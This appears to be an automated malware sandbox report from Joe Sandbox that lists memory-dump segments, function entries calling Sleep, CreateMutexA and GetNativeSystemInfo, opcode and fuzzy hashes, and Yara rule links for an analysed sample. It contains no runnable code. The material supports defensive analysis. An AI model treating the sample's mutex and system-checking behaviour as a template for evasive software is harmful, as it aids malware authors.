Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 187965409c7aa78f9940c10ce29ff55e5e0bb90f508c67804018f9dc030dd6e4
Instruction ID: db76b4fca7ecc4d57f870b43a263bb796765b9adb9123126e0b713a0552cf53a
Opcode Fuzzy Hash: 187965409c7aa78f9940c10ce29ff55e5e0bb90f508c67804018f9dc030dd6e4
Instruction Fuzzy Hash: 4E3126317042409BEF0CDBB8DD89B6CB7E2EBD5314F24821AE4559B2D5CB3589808792

Function 00A9A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 44ae45dfec9c8e78182c9824f91a525ad8e03cc3604d2d9c28c84b4be4dcff74
Instruction ID: e020162f35f9fac0fd28b244d42ae3c6ef1d6cdaea72e7714059c0465836a815
Opcode Fuzzy Hash: 44ae45dfec9c8e78182c9824f91a525ad8e03cc3604d2d9c28c84b4be4dcff74
Instruction Fuzzy Hash: 7D3146317142409BEF0CDBBCDD89B6DB7F2EBA2310F24821AE415DB2D5C73589808692

Function 00A99ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 391bcbba49a7f9c1bfdc097469f515a8d9fe4ae0050d0e960c5c8075a39136ab
Instruction ID: 5ac2b9cc8af8fc90dcd749f2ec323b30875d19c1b6853300d4bcce89016388aa
Opcode Fuzzy Hash: 391bcbba49a7f9c1bfdc097469f515a8d9fe4ae0050d0e960c5c8075a39136ab
Instruction Fuzzy Hash: 892149327142009BEF1C9B7CEDD9B6DF7A1EBD1310F20421DE4198B6D5C7799980C652

Function 00A9A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c6032d629f43246c3c3c4b7145c1421d9c22901a9e3066dec6bba67fd4cd667c
Instruction ID: 278024eb10c49979dfcd57ed42181bdc4e5cd32cd72b3bd65d2d0d5056b9a989
Opcode Fuzzy Hash: c6032d629f43246c3c3c4b7145c1421d9c22901a9e3066dec6bba67fd4cd667c
Instruction Fuzzy Hash: C1210D313552019BEF2CA779999EB7DB2D1AFA1300F348817E548972D1CF79898185E3

Function 00A9A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A9A963
CreateMutexA.KERNEL32(00000000,00000000,00AF3254), ref: 00A9A981

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6ac5734b8b5ab366c4b7569a61a931846f11cd8648ae8378489dc6c7b312672a
Instruction ID: 1f60c0ccde0fe0b1621fcec5d2d9faee7c48a3d72b3a36946c018efbc6f6930d
Opcode Fuzzy Hash: 6ac5734b8b5ab366c4b7569a61a931846f11cd8648ae8378489dc6c7b312672a
Instruction Fuzzy Hash: D0214C327542009BEF1CDB78DD89B6DF7B1EBE1310F24421AE8159B7D4CB7695808692

Function 00A97D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A97ED3

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
